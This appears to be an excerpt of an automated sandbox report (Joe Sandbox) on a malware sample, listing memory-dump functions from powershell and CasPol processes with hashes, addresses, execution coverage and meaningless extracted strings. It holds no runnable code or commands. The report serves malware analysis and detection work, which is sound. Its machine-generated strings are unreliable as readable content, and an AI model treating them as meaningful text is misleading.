Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac9c08d885449d3ed38866eee5546b6b627c984ac051b5404ab1f8d32ab727ec
Instruction ID: 20cfb6e0694c67a31f8da23fa0a412bd65f0a38f69447ca832c16a8c207cb9f5
Opcode Fuzzy Hash: ac9c08d885449d3ed38866eee5546b6b627c984ac051b5404ab1f8d32ab727ec
Instruction Fuzzy Hash: 1E2190B1A00345CFDB11CF58D548BEEBBF2FB84304F18819AD854A7351D3B49995DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07B4CBA0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcbc5b975ba814e00649e07418e7b3a4f213866f29f55f0ce64c83e41deb16d2
Instruction ID: d1a9180dad47d23fd38f4a538d1cfbd7ad67d062c6eeffa11c3d6b99b223c711
Opcode Fuzzy Hash: dcbc5b975ba814e00649e07418e7b3a4f213866f29f55f0ce64c83e41deb16d2
Instruction Fuzzy Hash: 9A1181B1601309CBEB249B61CA986AE7BF2EF88A41F1010A8D402A7261DF759D40DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07B46B3B Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb561650f628f02ef45a80bc7cb1f8861866608af8df9775a5f0a666b2e0d6d
Instruction ID: d153633b8e6f34c23bb8a7fffb6949aadb222eed32497300faf1e7d0915dc718
Opcode Fuzzy Hash: aeb561650f628f02ef45a80bc7cb1f8861866608af8df9775a5f0a666b2e0d6d
Instruction Fuzzy Hash: A50141F23086149FF3215A28AC016EBBB95DBC7368F0480BBF506CB340EA318E0183B1

Uniqueness

Uniqueness Score: -1.00%

Function 006BD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86718170484.00000000006BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 006BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228dcae8277206e37e53e17ef64a238b48d21e23e8d3db2c9cdd19e2df2de4aa
Instruction ID: d2fafad19d866aade1e8a7ffacd6c872884deae852a8d51bac17db95f8eb5019
Opcode Fuzzy Hash: 228dcae8277206e37e53e17ef64a238b48d21e23e8d3db2c9cdd19e2df2de4aa
Instruction Fuzzy Hash: F101F7B1009340AAD7205E15C884BE7BF98DF45328F18C11AEE494F282D3799C81CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 006BD006 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86718170484.00000000006BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 006BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04ebf208c35f17c9194decbf596fecc23dae65bb25043a058130e654dc246f06
Instruction ID: 28ec6ec39b7fad11ba5c6e0b9b54913d26e6166f2fe53ec9ce759ba7d415aee0
Opcode Fuzzy Hash: 04ebf208c35f17c9194decbf596fecc23dae65bb25043a058130e654dc246f06
Instruction Fuzzy Hash: F501007140E3C09ED7129B258D94A92BFB4DF53228F1981DBD9888F2A3D2695848C772

Uniqueness

Uniqueness Score: -1.00%

Function 07B4E640 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f10fe2258213d6b53d481ce25bf89fb0c4fe80940af4a3e51968c1cfaf00d901
Instruction ID: 6af1957965f044929d597e06d6a42278eb0a0df2e48a4231f53a2e79d688504a
Opcode Fuzzy Hash: f10fe2258213d6b53d481ce25bf89fb0c4fe80940af4a3e51968c1cfaf00d901
Instruction Fuzzy Hash: 36D05E7A30052027050436ABA80085FFA9BEBC9661340416AEA0AC7740DE61AD5647E9

Uniqueness

Uniqueness Score: -1.00%

Function 07B472BF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2814b581192cfeb8b462ed6f0bde1436dcf7fe0af5fa4a89ef270a3b0759a83
Instruction ID: 4ca434dfe1901da6d5e74ec85234b1f0e718912367be05517232e9af42dcb71a
Opcode Fuzzy Hash: e2814b581192cfeb8b462ed6f0bde1436dcf7fe0af5fa4a89ef270a3b0759a83
Instruction Fuzzy Hash: 28D06736104249BF8B01CE94DD51CAA7F6AEB49214B14C049BE5946262C633E972EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07B472C0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65b382f2b373dd0e42861b0c7a885679bbca07c8995822aa41ad6b5fde29ea02
Instruction ID: 2f1addc7ac752b055209e5a892d08ee60b8d95dd5987d24a20b0db1062a2c8ce
Opcode Fuzzy Hash: 65b382f2b373dd0e42861b0c7a885679bbca07c8995822aa41ad6b5fde29ea02
Instruction Fuzzy Hash: CFD06736104249AF8B01CE84D951C6A7F6AEB49214B14C049BE5946262C633E932EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 07B4F800 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e6ed3af7532fd57c2c7f230f54ccc9c871a9174d945ba7369fceb43da95e71
Instruction ID: bbeee2ffc056cd8d43f50237998b029375a701bbb8b5e9f832e960ee7abd0a81
Opcode Fuzzy Hash: a2e6ed3af7532fd57c2c7f230f54ccc9c871a9174d945ba7369fceb43da95e71
Instruction Fuzzy Hash: 68D0A76514D3C58FC302C724951181A7FA15EE6101B19809AD085C6BA3C024480DC722

Uniqueness

Uniqueness Score: -1.00%

Function 07B45C5F Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11e23107db3005001dda8026305acd6ba4a497a14e6fb20d13d784293445747a
Instruction ID: 9ec3bee0d742219f69d34c91bf6d76a824eddc4456921cdef26eba7c86e39322
Opcode Fuzzy Hash: 11e23107db3005001dda8026305acd6ba4a497a14e6fb20d13d784293445747a
Instruction Fuzzy Hash: BBC08CB58C9B00BAEE55CBA0DE0BF41BFB6B750B01F068165F20A4F8C2D67051A5DB76

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 008ECEB9 Relevance: 3.8, Strings: 2, Instructions: 1294COMMON

Download Yara Rule

Strings

0oaj, xrefs: 008EE06A
,kjk, xrefs: 008ED4FD

Memory Dump Source

Source File: 00000006.00000002.86723151942.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e0000_powershell.jbxd

Similarity

API ID:
String ID: ,kjk$0oaj
API String ID: 0-349706782
Opcode ID: b64a563853385e546bda6fccfc1aa5303c115a9bde48a1baa7867c98220f5d5c
Instruction ID: 7f068d3cea9c9156414eda751fd40e718351e71c8e613d70d66bc48cbd0974e7
Opcode Fuzzy Hash: b64a563853385e546bda6fccfc1aa5303c115a9bde48a1baa7867c98220f5d5c
Instruction Fuzzy Hash: 77A2FF307081105BEB589BB5DC11BEF3667DBC8708F28C069E9099F784DFB29D829B95

Uniqueness

Uniqueness Score: -1.00%

Function 008ECEC8 Relevance: 3.8, Strings: 2, Instructions: 1287COMMON

Download Yara Rule

Strings

0oaj, xrefs: 008EE06A
,kjk, xrefs: 008ED4FD

Memory Dump Source

Source File: 00000006.00000002.86723151942.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e0000_powershell.jbxd

Similarity

API ID:
String ID: ,kjk$0oaj
API String ID: 0-349706782
Opcode ID: 74236006ed04490806888358dfe1925037f4fe68eed9c801f78113dd452c3258
Instruction ID: 683870244b733da1489939146d0dfcd2400d90ddbb7415e493ae7152ecfbac8a
Opcode Fuzzy Hash: 74236006ed04490806888358dfe1925037f4fe68eed9c801f78113dd452c3258
Instruction Fuzzy Hash: FDA2FF307081105BEB589BB5DC11BEF3667DBC8708F28C029E9099F784DFB29D829B95

Uniqueness

Uniqueness Score: -1.00%

Function 07B45E10 Relevance: 7.9, Strings: 6, Instructions: 437COMMON

Download Yara Rule

Strings

`Jk, xrefs: 07B46010
`Jk, xrefs: 07B46154
`Jk, xrefs: 07B460FA
`Jk, xrefs: 07B4618D
`Jk, xrefs: 07B46049
`Jk, xrefs: 07B460C1

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID: `Jk$`Jk$`Jk$`Jk$`Jk$`Jk
API String ID: 0-2734599850
Opcode ID: e1de6e8d7cc72d9b1b79da3521be0d8aeabe06f3d331f0191ea1c87928f73558
Instruction ID: fe927d190f1124b84f58ef372154866e293b77a94887b189d288e0ea266ca356
Opcode Fuzzy Hash: e1de6e8d7cc72d9b1b79da3521be0d8aeabe06f3d331f0191ea1c87928f73558
Instruction Fuzzy Hash: 9502C1B0B042159FEB24DF64D984AAEB7F2EF89304F1585A8D906DB341DB34EC41CB95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CasPol.exePID: 5484, Parent PID: 6160COMMON

Execution Graph

Execution Coverage:	25.8%
Dynamic/Decrypted Code Coverage:	98.6%
Signature Coverage:	6.8%
Total number of Nodes:	148
Total number of Limit Nodes:	8

Executed Functions

Function 203B94D0 Relevance: 41.2, Strings: 32, Instructions: 1181COMMON

Download Yara Rule

Strings

\OGr, xrefs: 203BA00C
:@ r, xrefs: 203B9787
\OGr, xrefs: 203B9BA8
\OGr, xrefs: 203BA32E
\OGr, xrefs: 203BA3F7
\OGr, xrefs: 203B9D54
\OGr, xrefs: 203B9FB1
\OGr, xrefs: 203B9CBE
^O%r, xrefs: 203B9A74
\OGr, xrefs: 203BA19E
\OGr, xrefs: 203B9CE0
\OGr, xrefs: 203BA212
\OGr, xrefs: 203B992C
\OGr, xrefs: 203BA12A
\OGr, xrefs: 203BA3B5
\OGr, xrefs: 203B9BF3
\OGr, xrefs: 203B9C6C
\OGr, xrefs: 203B9F98
\OGr, xrefs: 203BA413
\OGr, xrefs: 203B9A34
\OGr, xrefs: 203BA1F9
\OGr, xrefs: 203B9FF3
\OGr, xrefs: 203B9C4A
\OGr, xrefs: 203BA1B7
\OGr, xrefs: 203B9976
:@ r, xrefs: 203B95D4
:@ r, xrefs: 203B95C5
\OGr, xrefs: 203B9F24
\OGr, xrefs: 203B9B85
\OGr, xrefs: 203B9DA6
\OGr, xrefs: 203BA399
\OGr, xrefs: 203B9D32

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$:@ r$:@ r$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$^O%r
API String ID: 0-3775228992
Opcode ID: c8e185c68bc80c2f753f9881c2f98cc22acf1a25f1a28a9303e4d24747ec623f
Instruction ID: 16fa3c456f76e6ab1e034d52aea73d136a05db7f5b8ee35ecd2e915e88ee193c
Opcode Fuzzy Hash: c8e185c68bc80c2f753f9881c2f98cc22acf1a25f1a28a9303e4d24747ec623f
Instruction Fuzzy Hash: B1A21974E016188FDB64DFB9C95479DBBF2AF88308F1480A9D509AB390EB35AD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 1FA08C50 Relevance: 27.4, Strings: 17, Instructions: 6159COMMON

Download Yara Rule

Strings

\OGr, xrefs: 1FA0E3E3
d, xrefs: 1FA0B8BC
\OGr, xrefs: 1FA0D0B3
\OGr, xrefs: 1FA094EF
\OGr, xrefs: 1FA0D466
\OGr, xrefs: 1FA0E369
\OGr, xrefs: 1FA0E280
\OGr, xrefs: 1FA0E375
\OGr, xrefs: 1FA0AE7C
\OGr, xrefs: 1FA0BD21
\OGr, xrefs: 1FA0AEEE
\OGr, xrefs: 1FA0E2C3
d, xrefs: 1FA0963B
;, xrefs: 1FA0E22D
\OGr, xrefs: 1FA094DF
\OGr, xrefs: 1FA0BCA3
*Gr, xrefs: 1FA092AD

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: ;$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$d$d$*Gr
API String ID: 0-4138557572
Opcode ID: 3bb66c4c329786dd3e8c0c8d5adfd8730353f6e363d4d5d71aacef12a0e1425b
Instruction ID: d0833a27b0fe5819683727b3355f669d0d31f89a29259094f1409707841aa9fc
Opcode Fuzzy Hash: 3bb66c4c329786dd3e8c0c8d5adfd8730353f6e363d4d5d71aacef12a0e1425b
Instruction Fuzzy Hash: F0C3B475D00A299FDB65CF68D940ACAF7F2AF89300F0581E5E90CAB221D775AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 203B0ACA Relevance: 23.3, Strings: 17, Instructions: 2041COMMON

Download Yara Rule

Strings

\OGr, xrefs: 203B0C9C
\OGr, xrefs: 203B0980
d, xrefs: 203B06A8
\OGr, xrefs: 203B0A44
\OGr, xrefs: 203B071B
\OGr, xrefs: 203B0849
d, xrefs: 203B06C2
\OGr, xrefs: 203B0CEB
\OGr, xrefs: 203B0A02
\OGr, xrefs: 203B07A8
\OGr, xrefs: 203B091D
\OGr, xrefs: 203B0B1B
\OGr, xrefs: 203B0798
:@ r, xrefs: 203B0D73
*Gr, xrefs: 203B0A9A
*Gr, xrefs: 203B0A84
\OGr, xrefs: 203B0AF5

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$d$d$*Gr$*Gr
API String ID: 0-3711771251
Opcode ID: 8c2ef555fb388839804e1ac7a26606d0911ced075d5e7bc2ad021c6795e24577
Instruction ID: c3c4b23fa883dde28d5b23d510ee01f232c4233f17f5b78809449b69d48a9c53
Opcode Fuzzy Hash: 8c2ef555fb388839804e1ac7a26606d0911ced075d5e7bc2ad021c6795e24577
Instruction Fuzzy Hash: 2813D575D01A299FDB65CFA8C844A89F7F2BF88304F1581E6D90CAB221D771AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 1FA08B70 Relevance: 19.6, Strings: 11, Instructions: 5835COMMON

Download Yara Rule

Strings

\OGr, xrefs: 1FA0BD21
\OGr, xrefs: 1FA0AEEE
d, xrefs: 1FA0B8BC
d, xrefs: 1FA0963B
\OGr, xrefs: 1FA0D0B3
\OGr, xrefs: 1FA094DF
\OGr, xrefs: 1FA094EF
\OGr, xrefs: 1FA0BCA3
\OGr, xrefs: 1FA0D466
*Gr, xrefs: 1FA092AD
\OGr, xrefs: 1FA0AE7C

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: \OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$d$d$*Gr
API String ID: 0-3902647669
Opcode ID: 985630dfb26c15934e6e5a5f6095c7873d05d9be8fb62741a62da4433299a625
Instruction ID: 5c7610a75e20d380e748b8d67923197582296dd64202c11333d8c758a0aa1645
Opcode Fuzzy Hash: 985630dfb26c15934e6e5a5f6095c7873d05d9be8fb62741a62da4433299a625
Instruction Fuzzy Hash: 85C3A275D00A299FDB65CF68C940ACAF7F2BF89300F0585E5E90CAB221D775AE858F41

Uniqueness

Uniqueness Score: -1.00%

Function 1FA06BE0 Relevance: 19.2, Strings: 14, Instructions: 1684COMMON

Download Yara Rule

Strings

\OGr, xrefs: 1FA07EBA
\OGr, xrefs: 1FA07CE1
\OGr, xrefs: 1FA07EE4
\OGr, xrefs: 1FA07BB5
\OGr, xrefs: 1FA07D18
\OGr, xrefs: 1FA07D3E
\OGr, xrefs: 1FA08002
\OGr, xrefs: 1FA07CC2
\OGr, xrefs: 1FA07F7F
\OGr, xrefs: 1FA07B11
\OGr, xrefs: 1FA07B49
\OGr, xrefs: 1FA07F50
Fr, xrefs: 1FA07C5E
Fr, xrefs: 1FA07C25

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: Fr$ Fr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr
API String ID: 0-1072066941
Opcode ID: cc54ba456ebb3570afa493324f937ebacf0b48c2ae1ef50b075d85b48c8999e6
Instruction ID: 57f3ca13e9f9cf1a9982db8d45509a9201a43d08cefbbc3b6e44398e4c179235
Opcode Fuzzy Hash: cc54ba456ebb3570afa493324f937ebacf0b48c2ae1ef50b075d85b48c8999e6
Instruction Fuzzy Hash: D0E23974A002158FDB14EB78E598B9DBBF2BF88315F118569E40ADB390DB39EC81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 203BDE10 Relevance: 18.4, Strings: 14, Instructions: 855
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OGr, xrefs: 203BDF76
\OGr, xrefs: 203BE737
Fr, xrefs: 203BE390
\OGr, xrefs: 203BE4A1
\OGr, xrefs: 203BE482
\OGr, xrefs: 203BE4FE
\OGr, xrefs: 203BDF3E
\OGr, xrefs: 203BDFE2
Fr, xrefs: 203BE3C9
\OGr, xrefs: 203BE708
\OGr, xrefs: 203BE4D8
\OGr, xrefs: 203BE7BA
\OGr, xrefs: 203BE699
\OGr, xrefs: 203BE66F

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: Fr$ Fr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr$\OGr
API String ID: 0-1072066941
Opcode ID: 274b64501f5acbcb1e56ced429a90d805382a247514366076ba1bba6addfee78
Instruction ID: d0c55d41d29ae9b19400f14d53fc123a1ac8d41f6e97a5dde5b60a0c3ae614aa
Opcode Fuzzy Hash: 274b64501f5acbcb1e56ced429a90d805382a247514366076ba1bba6addfee78
Instruction Fuzzy Hash: E8725135E006288FCB15DFA8C854B9EBBF2BF89304F1184A9D909AB361DB75AD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 1FA0E5EB Relevance: 14.3, Strings: 11, Instructions: 526
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OGr, xrefs: 1FA0E9E8
:@ r, xrefs: 1FA0EB86
\OGr, xrefs: 1FA0EA31
\OGr, xrefs: 1FA0EB1F
\OGr, xrefs: 1FA0E904
^O%r, xrefs: 1FA0EA64
\OGr, xrefs: 1FA0E927
*Gr, xrefs: 1FA0EB6D
:@ r, xrefs: 1FA0EBA1
*Gr, xrefs: 1FA0EB61
_%r, xrefs: 1FA0E802

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$:@ r$\OGr$\OGr$\OGr$\OGr$\OGr$^O%r$*Gr$*Gr$_%r
API String ID: 0-3591521049
Opcode ID: 5c9a675a4e38dd7191ceb08bde3ec42630183d397e1e288d59d74e0d99458b34
Instruction ID: 5827c1869fb308746f2820c3297b9997627ba9cb3b4f352f29a79700ca176a95
Opcode Fuzzy Hash: 5c9a675a4e38dd7191ceb08bde3ec42630183d397e1e288d59d74e0d99458b34
Instruction Fuzzy Hash: EA128F74B002159FDB14DBB8E894B9EB7F2AF88310F158469E509EB394DB39EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203BAC70 Relevance: 9.2, Strings: 7, Instructions: 409
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OGr, xrefs: 203BAF51
\OGr, xrefs: 203BAE3F
\OGr, xrefs: 203BAE8D
\OGr, xrefs: 203BADF4
^O%r, xrefs: 203BB011
_%r, xrefs: 203BAD61
\OGr, xrefs: 203BAF07

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: \OGr$\OGr$\OGr$\OGr$\OGr$^O%r$_%r
API String ID: 0-19599
Opcode ID: e75bddab6ed9a750a8e9f9e7a93caa61a3d81eaac6ad1bbb7f5fa53b2877e0cb
Instruction ID: d8172195e610fe121ae997c24718371dafee8e209581b8e2668778933e32c4d8
Opcode Fuzzy Hash: e75bddab6ed9a750a8e9f9e7a93caa61a3d81eaac6ad1bbb7f5fa53b2877e0cb
Instruction Fuzzy Hash: 10E19174B002149BDB24EFB9C86479EBAF2AFC8304F158529D50AAB784DF74AC41CB95

Uniqueness

Uniqueness Score: -1.00%

Function 203B7030 Relevance: 5.8, Strings: 4, Instructions: 769
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_%r, xrefs: 203B73C8
:@ r, xrefs: 203B719D
_%r, xrefs: 203B742D
_%r, xrefs: 203B73FA

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: :@ r$_%r$_%r$_%r
API String ID: 0-1576307662
Opcode ID: 162105d35cbda98bd1465f729d1b3655930d838d78a3a185d24e9b397cbad7d3
Instruction ID: beda6c90c5de8b33ee415233203b469d1f926802b62e4a9e6d08db8813e138b8
Opcode Fuzzy Hash: 162105d35cbda98bd1465f729d1b3655930d838d78a3a185d24e9b397cbad7d3
Instruction Fuzzy Hash: 47529F34A042548FDB15DBB8C894A9DBFF2EF85304F15846AD409AB792DB38ED42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 203BC490 Relevance: 3.3, Strings: 2, Instructions: 799COMMON

Download Yara Rule

Strings

_%r, xrefs: 203BC5AC
_%r, xrefs: 203BC504

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: _%r$_%r
API String ID: 0-3934454027
Opcode ID: 2771d53456bf9c8ea2a4b663706b5c2542170036f5370b37289435d1e5963bca
Instruction ID: 2e1b441cc6ca0bbde716f702d378e327a84abefd4e878ca01e2f06dedd1c86d8
Opcode Fuzzy Hash: 2771d53456bf9c8ea2a4b663706b5c2542170036f5370b37289435d1e5963bca
Instruction Fuzzy Hash: 97529034B102148FCB14DBB8C494BAEBBF2AF89319F158569D509EB791DB38EC42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 203B6688 Relevance: 1.6, Strings: 1, Instructions: 323COMMON

Download Yara Rule

Strings

^O%r, xrefs: 203B67D9

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID: ^O%r
API String ID: 0-665365895
Opcode ID: e1491c26c2e9d4cf5020de9ceab119a8e00ac065b7394c24303b6d203da5da11
Instruction ID: 3a71c05ec6ae0e1eba1e9f65ebf2bfc6f08aadf02775f7b9530e5814ea5106e5
Opcode Fuzzy Hash: e1491c26c2e9d4cf5020de9ceab119a8e00ac065b7394c24303b6d203da5da11
Instruction Fuzzy Hash: 48B19034B002149FDB14DBB9C494BAEBBF6AF88314F15C569D509AB391DB38EC41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 203B4510 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.91148380986.00000000203B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 203B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_203b0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae787aa212fbfc9ce07dbf22c0040a68b7fded4781f4cbaa888d453b9ae1f19
Instruction ID: 29d645248c17e34ac3e1758fb2d517d0a9afc5ee9db3e1c0386725c687d56e44
Opcode Fuzzy Hash: 0ae787aa212fbfc9ce07dbf22c0040a68b7fded4781f4cbaa888d453b9ae1f19
Instruction Fuzzy Hash: BCC12634A002059FDB10CFA8C480A6EBBF6FF9A324F16852AD559DB742DB34ED40C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 1FA01AD8 Relevance: 12.9, Strings: 10, Instructions: 410
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2Gr, xrefs: 1FA01EDE
mKuU^, xrefs: 1FA01DF1
]KuU^, xrefs: 1FA01D90
-KuU^, xrefs: 1FA01C1B
MKuU^, xrefs: 1FA01D27
2Gr, xrefs: 1FA01CB4
2Gr, xrefs: 1FA01D2F
2Gr, xrefs: 1FA01BDE
2Gr, xrefs: 1FA01DF9
=KuU^, xrefs: 1FA01CAC

Memory Dump Source

Source File: 0000000C.00000002.91143986376.000000001FA00000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1fa00000_CasPol.jbxd

Similarity

API ID:
String ID: -KuU^$2Gr$2Gr$2Gr$2Gr$2Gr$=KuU^$MKuU^$]KuU^$mKuU^
API String ID: 0-2967135423
Opcode ID: 6b970e43e5fa66ac254ca555d1e9edf0208f6907bbaa229a2ec1db696e7a2337
Instruction ID: 08276458e5ef6a689ba76d734dc4060a5577a7b34975c482db2afd275658be5c
Opcode Fuzzy Hash: 6b970e43e5fa66ac254ca555d1e9edf0208f6907bbaa229a2ec1db696e7a2337
Instruction Fuzzy Hash: 2DE19230A002458FDB15AB79E49039E7BB2EB8A314F60496ED046DF391DB7DEC45C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1FA01A6C Relevance: 12.9, Strings: 10, Instructions: 359COMMON

Download Yara Rule

Strings

2Gr, xrefs: 1FA01EDE
mKuU^, xrefs: 1FA01DF1
]KuU^, xrefs: 1FA01D90
-KuU^, xrefs: 1FA01C1B
